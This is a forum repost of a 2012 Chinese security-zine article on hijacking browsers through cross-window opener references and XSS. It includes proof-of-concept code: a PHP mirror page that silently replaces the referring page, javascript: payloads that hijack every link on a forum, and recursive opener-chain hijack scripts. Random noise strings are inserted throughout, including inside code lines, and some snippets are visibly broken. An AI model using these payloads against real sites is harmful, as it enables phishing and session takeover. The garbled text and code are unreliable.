找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1909|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
( T- s" }# G9 i6 i% A' S2 n- M+ U + z' d* p; S, v: G' q
                       Issue 0x03, Phile #0x05 of 0x07, c' O% m8 {  o1 y1 ?7 z, F6 L! t
- h- F% p; j( K/ g. y
) A& Q# c: z* I/ o* Q  U/ A/ l
|=---------------------------------------------------------------------------=|' H" ~% n! P+ T/ `! k" |  R
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
3 Q% o0 k( ^6 X  y|=---------------------------------------------------------------------------=|. o5 W) ?4 j5 M; j& J
|=---------------------------------------------------------------------------=|
, t: h( O/ w, O" w" Y* v; n|=------------------------=[      By rayh4c     ]=---------------------------=|
8 [6 m' Y" d" ?  S|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|4 ~/ L& Z6 z& G0 p: E" \0 D8 [
|=---------------------------------------------------------------------------=|5 j$ s6 Z3 x, X+ b7 H6 L' n
$ @+ b' @4 a2 X* \6 I
6 q8 K1 u% ~4 ?1 F* i
[目录]3 N4 K  n! ]# {% l) u
  A: E9 S3 ^5 A! j  j2 e
1. 前言
  E  t. a9 ^3 `6 Q# o$ G) I9 P2. 同源策略简叙* M5 Y: n, Z; i
3. 理解window对象的同源策略: y6 [+ g' e8 Y5 W. J. q9 f
4. 窗口引用功能中的同源策略漏洞! }. O+ G0 i# p' X
  4.1 父窗口引用子窗口的同源策略问题
8 H" m6 Y: [6 P3 C; C& y1 {  4.2 子窗口引用父窗口的同源策略问题9 n) ]) @. ^' M8 f, f. r$ S
5. 利用窗口引用漏洞劫持浏览器. j: S' p/ ~0 ]+ u
6. 利用XSS漏洞劫持浏览器" q% k9 L0 w2 M9 {4 h8 n/ B  W) C3 q
  6.1 正向跨窗口劫持  t$ r7 t) ^; n6 n# Z
  6.2 反向跨窗口劫持
! |( {$ [1 N6 o6 f! S9 a  6.3 极度危险的跨框架窗口引用劫持, P& J  o: _. u+ j8 L0 q
  6.4 极度危险的正反向跨窗口递归劫持5 B6 D" N  j/ ]
  6.5 完全控制浏览器* W) D- W2 r, m9 `" d
7. 后记
* Y, {! D# n" C8. 参考- d' g/ s2 Q& r' W4 u

/ {6 I' M# ~. i" |2 `1 }) A
( v! |% J; r6 i; @% g! h6 r2 d" r一、前言
) G+ _3 x' ^8 a$ Y" [
* N6 v* K* p+ t  D    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋* w; X/ I! k& n! J
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session2 c6 S" _3 ^2 @8 k$ i
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
8 h/ z% a# |8 W* v- Z& u条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
7 v0 |: Y+ B& S/ i$ @5 O# i8 ?. X1 D: ]% g# |! x# u' K: q

* M5 e; K! `# W9 o二、同源策略简叙1 y" q# ~7 P5 A9 m* b
7 z% q: b$ E- L, ~# @, \
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以3 L8 t% p3 r5 H( I' i3 @9 X- T
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
% m4 `# ~/ ]+ Z8 b2 x曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木& P4 q; s; v" G7 d
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
3 v" t# U7 ~! r! ^6 }; G' D  ]漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
4 D; k+ J* m+ s4 H7 p6 ?3 O$ P/ D% N* v3 ~
% ^" |, x3 L3 j
三、理解window对象的同源策略
9 n( E) D+ t1 s
/ v3 M$ k  a" Y% J7 {    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
1 j% {$ H, X- e7 h" q象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:% L' k5 G* V! d; ]
! D2 x& a3 e5 @$ C) i
--code-------------------------------------------------------------------------
: q+ p# h5 |: }<script language="javascript">  A' S% L: V" @
for(p in window) document.write(p+"<br>");7 _* _( V- i/ V' l2 c% ]
</script>
3 b/ N/ W+ ^9 \8 X' o( ~-------------------------------------------------------------------------------
( ^. d5 y1 ?, u4 Q$ }" t3 {4 c. t
. P! e; N; O, _9 ~- J9 X. j2 ]' y1 d6 y    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
6 n# b' \$ a; H# a法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
7 ~/ C  J1 l* |/ H, p这些属性和方法就必须遵循同源策略。
8 Y6 [7 j1 R( W* x* K
# T2 k- K7 E8 U  ?- _1 I* ^6 C    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那$ c% F2 x9 I, C
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
, H. M: M9 D1 F# w' y的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这+ {' L& j1 M, C6 \7 k% }/ P0 W8 H
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
0 ]" \8 s$ L5 A* }值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
! ^; i  q1 A& p  k( i属性并没有被拒绝访问。! x! S6 |8 H; ~$ i
, a+ z9 J8 Q. E: v5 P  q
--demo.html--------------------------------------------------------------------# K2 I8 i% ^" Z- @
<script language="javascript">   
; u: I$ i) H& s; j! p4 Jfunction allPrpos(obj) {      
7 g+ r6 U1 }# R" U/ u      var props = "<table><tr><td>名称</td><td>值</td>";           . Q" y' K0 u5 t  Y; r5 b0 {. E; ^
      for(var p in obj){         
+ P  A; R( \) O/ e& B            if(typeof(obj[p])=="function"){   
- r+ Y1 P7 I; C& V8 g                   obj[p]();   
) f8 g& L& F8 a. ?             }else{                      8 w8 L" e. O& U( F
                  try   0 v# X5 z7 j6 ^, z5 T
                   {   $ M+ G. i* \, O" K3 M
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
+ a) o/ f0 n# B2 L! x                   }   
. `* n) a( T; r, d. S. Q5 ?2 C                  catch (ex)   
* t1 O- p7 @, t1 g* p* V- j) q% Z                   {   
1 H0 z# S3 F9 L1 B                  
1 t! l8 S5 U; |$ N3 e3 g6 Y                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
4 D% u. D& P) _9 {" o" V0 r( s                   }   
4 K$ b# j0 \, N; K$ v9 T                       . S$ U0 l9 Q% E. `9 w4 _* O
             }   ( X+ v( d/ H: t3 Z+ u5 x  s
       }   9 F0 R$ `1 `/ t( U
   
7 j* m. G$ K4 b9 ?% D( R! q* ]       document.write(props+"</table>");   % v+ y: z& i3 B) [3 i
}   
6 v) u8 @1 c2 R: R; F! J6 I+ U   2 q7 U4 y5 g9 F* f1 \/ y/ J
function createWin() {
* ?* s3 {. k7 s1 q; y, T        newWin = window.open ("http://www.google.com");  
* }: e4 Q9 |+ @+ L: J: a, b# K3 `        setTimeout(function(){allPrpos(newWin)},2000); + D( ]! O' K* r/ }6 ~! n
}
' m& [) q3 V6 E) w! L% T
, b3 r& x" t" F</script> 4 M7 G" K' E7 b; L3 }

6 @% B, \1 Y9 S8 G* t<button onclick='createWin()'>创建一个非同源子窗口测试</button>' a0 {/ `4 C; d! t. x' O
-------------------------------------------------------------------------------
: E1 K8 d1 R9 L' j
6 R) V4 [' x' M9 ^, U
$ ^& e+ e1 O! o; R9 E, ^: Q四、窗口引用功能中的同源策略漏洞; X; L; L0 l# @! _: [7 k
  t) S3 V( Z7 U6 E: q
4.1 父窗口引用子窗口的同源策略问题4 f: A" I, {0 G

. A# C8 k; Z; o8 ~3 S    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
( g. C) f3 G6 j, ?& C7 R但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道7 p& W  S* ?( p- G
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进2 k: `" x" L4 i9 g) Z8 m
行测试,会发现父窗口可以控制非同源子窗口location属性值。, ?) R% H7 m2 R+ m( r1 I3 r6 U
7 w; a$ s7 k: o2 e% T
--vul1.html--------------------------------------------------------------------
! {% {1 q, W# {4 x0 W<script language="javascript"> - w# Q) n5 N  k/ P, T. V
function createWin() {  
4 B! z: a( s, j8 }7 z+ v        newWin = window.open ("http://www.google.com");  7 w3 h, c! a: f0 ^9 g* i- M
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); . o8 c3 P. v3 f
} 4 o. d" Y+ T0 x, _1 W
</script>
" ?! d  S& D, U* \1 S' Z- F9 Q0 t( O( w" X6 p- K
<button onclick='createWin()'>创建一个非同源子窗口测试</button>) M6 m; e( p& t) u5 J
-------------------------------------------------------------------------------
  f5 L3 G1 a- X1 ~
  m8 y" n  p) q  v$ J$ I5 P6 v
: ]* ^3 z" F( g: s  R6 u. c% I4.2 子窗口引用父窗口的同源策略问题
" V1 ~9 x# k) f' H4 w0 p: Q
* v( O+ D0 B. U0 r    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
" S5 V  Q: S' i- p' o用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们/ A& ]3 b, ]! U7 ]9 n
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
# Q8 j& g, f5 ~: h- p+ g会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。5 R2 I; H- E$ W. R- P' O1 i
" E/ R5 D. A. S) U! D. z
--code-------------------------------------------------------------------------
2 b0 e% T( S! I6 ^. k4 }* r+ c/ k9 l+ E) B6 H
javascript:window.opener.location = "http://www.80sec.com";void(0);
& G& W% o# n( @8 Z7 f
# g: e& t4 q# w! `: i: j4 q+ c-------------------------------------------------------------------------------! T% j* I2 L5 K  d

! \$ t0 M' U& W6 C) ^+ y
! U9 f- G7 i' B' G# j五、利用窗口引用漏洞劫持浏览器* r6 X7 o4 u; d

% ~$ ^! U1 ^9 x# s" }/ l6 t    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子  A& `' m, n% ^+ X3 g9 Z# p8 E
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那9 b4 Q& C9 ]- P3 Y$ b5 i  H& b
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。5 N4 M, T4 j7 }# s  C+ I
% v  m5 L$ B( g! O0 P& s# A
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产3 `; `, k! s$ M7 D; x
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
5 ^! h. o0 }  V8 y3 f. K; N者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
6 R% F! t" I0 y* `+ {+ T后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下$ q) d! A$ C. Q3 D; T
会产生什么可怕的后果。2 G, \8 u# R: J
* a2 g: f8 C& v+ Q
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
/ y3 T$ Y  I( m6 Y) J' [们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php' E6 D% q) o+ ^
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
' _3 b) U; ?  _# Y候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可$ r1 R7 [: e1 ~4 G- z
以做更多的事情,所有的一切仅仅是因为点击了一个链接。7 Z. o  G$ z; a( O! a" H

( M( P" s+ r, e, s& G9 f--hjk_ref.php------------------------------------------------------------------
& t) n4 p# R# V' u; k5 M<?php! x" T2 i+ n$ g6 l. y2 Q
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
. }. V3 P- {& h; Q( i& B, f: n' l2 M' Q$Url_Mirror = $_SERVER["HTTP_REFERER"];$ ]' ?9 S' A1 M/ f; Q
}
) }, n7 \' L. m* R# _* v0 iif(isset ($_GET['ref'])) {7 F+ ~/ [0 |$ ]: s
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
6 @; a4 f( q; B6 T}
. A3 C( n% i' m' D?>" w1 Z9 ?' a) V
) p1 X* |* Z0 A0 V  W" Y
<script language="javascript">
6 G8 c: M1 x; ]/ S. jsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         ; U8 w& N  Q! P- K5 f
</script>
0 U3 A8 Y% X/ S3 x2 k4 Y-------------------------------------------------------------------------------; D+ W" a) Q9 O% l3 x( f

. R1 h+ a' N( e' M    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
! m' w0 m1 t8 H/ D4 C4 ~8 P! v: o' \8 c
9 h  O' B; a0 f. O/ U# w2 E( E2 k9 c
六、利用XSS漏洞劫持浏览器
, `0 }3 e0 [8 M' M
" U- H1 X- P8 R5 _    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
7 @2 S: y0 t! }持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后7 w; g; y$ m. b. N. f" Z- u# a- i
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起1 j$ k) _/ e3 Z" N+ ~4 V
讨论跨站师的终极技巧:
0 w+ d5 X& ]$ z0 g/ V9 V- ?( `' \' A; Q! y: [0 c
' H) G- s; G- S0 J+ p3 o0 ~
6.1 正向跨窗口劫持0 U$ |1 n4 N6 q6 A' c# C8 i
3 G3 a! a$ o9 v9 U8 w" T* V& r' q) h
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
$ W/ t4 m) b1 u( r7 @0 H7 w主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链5 T2 Y' ]6 L2 E# l$ m
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
0 }( j9 k; K, B* C& @# W2 _  l/ c' ~9 }框脚本。
2 [, U8 ~' Y, U1 w- j# R% C  J/ S' z* W3 m8 p8 L- e! F$ n0 A- ?
--hijack_open.js---------------------------------------------------------------
- w5 @5 v1 w9 r( q8 u# g7 f
. S3 s4 |1 \- l9 J6 H- ]4 t( ojavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
2 J( S0 ]2 V; q/ N, w2 f& b- q  L& e. a0 ]1 h
-------------------------------------------------------------------------------5 o7 U9 `1 ^) ]+ R0 R

8 ~+ g  H$ n5 K9 v( f( t% `" S! ?: i2 w
6.2 反向跨窗口劫持! c( [* E' y$ Z0 c
; U( L: R" G4 v/ O8 K
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
# o0 t. R2 l0 I+ L$ _; j4 a" \码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话! L1 J, v& g! `9 Q
框脚本。
4 N1 k4 b5 y; E* g4 k( ]( @
% A4 w4 _; F* g--hijack_opener.js-------------------------------------------------------------  ^* Z5 D; Z7 I1 `$ V! ^
( y+ d+ f3 l+ X' F& i! s
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
$ A. ^3 |  |: o5 K+ H* x" O! b7 c7 [" ]" t; ^9 `; S  Y
-------------------------------------------------------------------------------$ r( q9 @. A( l4 q$ W$ |4 }
* }* o1 f5 h5 p1 x

$ R" j/ g* a' ?6.3 极度危险的跨框架窗口引用劫持
4 p$ a6 v; ^& U" p: O* f) ?( [
$ j5 w) T6 h2 i6 s% G# M0 J    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞* G6 b' O7 }0 C6 w# L& s  ~
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
1 A) q0 V2 q+ p+ e& o$ i3 J适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个6 n* u3 V% j; v+ t% j- s* h9 I
非持久型的XSS,如下:7 n! \4 v# {  R$ _; u9 z

: |/ g3 y. T8 s! @8 Y% l<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
, H0 @- V! o7 t, b5 ?; ^+ L+ E# T) b/ d6 j) g
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口0 L+ Y  ]4 b) ~/ ]
注入脚本。
" t- X2 x5 m& }, s( i% b9 n# q/ d! N6 L: E" K
--hijack_frame_opener.js-------------------------------------------------------5 Y6 ^3 l- F: ~0 t
<script>, T0 u* g8 o4 B
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
( Y4 s) U# z0 c4 n</script>) ?& N  K& y/ I, f+ W3 d; a
-------------------------------------------------------------------------------: h( _2 X5 d: `* m( m

2 ~5 F1 q+ [4 D( k8 g& N7 Q6 v$ C8 ~( Z; }5 r. _. x5 B4 K; {
6.4 极度危险的正反向跨窗口递归劫持
2 v& A  R; U- f1 T0 D6 r' z' r4 J5 P+ l# S$ F
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
- R" E; X+ y, K+ x的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过6 ^9 R9 W8 u: F- Y6 }/ n" L
异常处理规避之间跨域页面的访问异常,代码如下:8 A8 x+ @1 P4 K

5 K/ b. u: j/ X& T7 q! h' [--code-------------------------------------------------------------------------
: w7 O+ s4 Z" J' ]/ l; Y. ?* C2 r& F1 q' J/ \6 Q) B9 b# j
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
2 W" h5 V! K# f; l
  A. F$ b% u' B! O% |-------------------------------------------------------------------------------
' J& M" g3 ]1 G! }+ f( o. y' }7 S9 d! q$ _
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
# P; ?; b5 j8 g3 X以劫持B域之前的A域页面,从而实现“隔空打击”。5 z9 ]/ Q( D& h" e+ T& [3 Y9 i0 K
2 {" d& |2 J& }2 _7 `. z2 k
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
( O6 H7 e6 {, A& X6 `- M" T- [" a0 \执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
" N3 \, a# V9 m- m8 J3 ?# M: s; C; p9 `
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
7 o" r1 D, Y; _+ V- Z& n
9 X3 J1 f4 u# u/ G" R9 x) ]0 y2 K5 N3 i# @
6.5 完全控制浏览器
8 U7 l, j. H5 z$ b8 w' \
" \3 `( Z- Y7 ~2 c3 h: h    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则$ x; P7 z1 E$ n
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS8 L# Z! i4 V/ A/ S
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
9 b  m9 Z) j  i8 k% s1 Z! b而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
9 O# M4 S" q7 m  s2 p) x( [: p6 m1 b列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
3 V" Z' D! _) M& J6 u师的终极目标 - 完全控制浏览器。
( n6 _  _5 t) E9 p
9 t' c, c2 [# [9 K) d. ^3 g  ~( Q- u
七、后记& h/ W/ d" l& w9 G4 c4 f9 N$ a

6 P, T" [& ~# e( O3 R    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全+ ?/ w1 H) @8 M3 r: O+ A7 m% _
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
3 V& m, J. }3 I1 x/ O过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
2 U+ m7 u( I* }: D# U  C
3 v8 I: V* n% l2 q9 d
+ y: z5 t8 P2 y0 p' h八、参考- ?" ^$ _% D( H* S- V; P
  V2 M0 v+ j# a' J0 K" G
1. http://en.wikipedia.org/wiki/Same_origin_policy
4 M. ?2 Q' }  y3 n2. http://code.google.com/p/browser ... licy_for_DOM_access
+ T1 h9 r5 p( a' L" d3. http://www.w3.org/TR/Window/
1 q3 T$ k, ?5 Z" U4. http://www.80sec.com/release/browser-hijacking.txt9 L8 t/ R) a; Q, s  @3 D. m
5. http://www.80sec.com/all-browser-security-alert.html
' M# k8 d, [& }- t- g6. http://www.80sec.com/ms08-058-attacks-google.html
; e5 v$ H: g" n) v3 C; T3 h9 `) c, x/ d
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表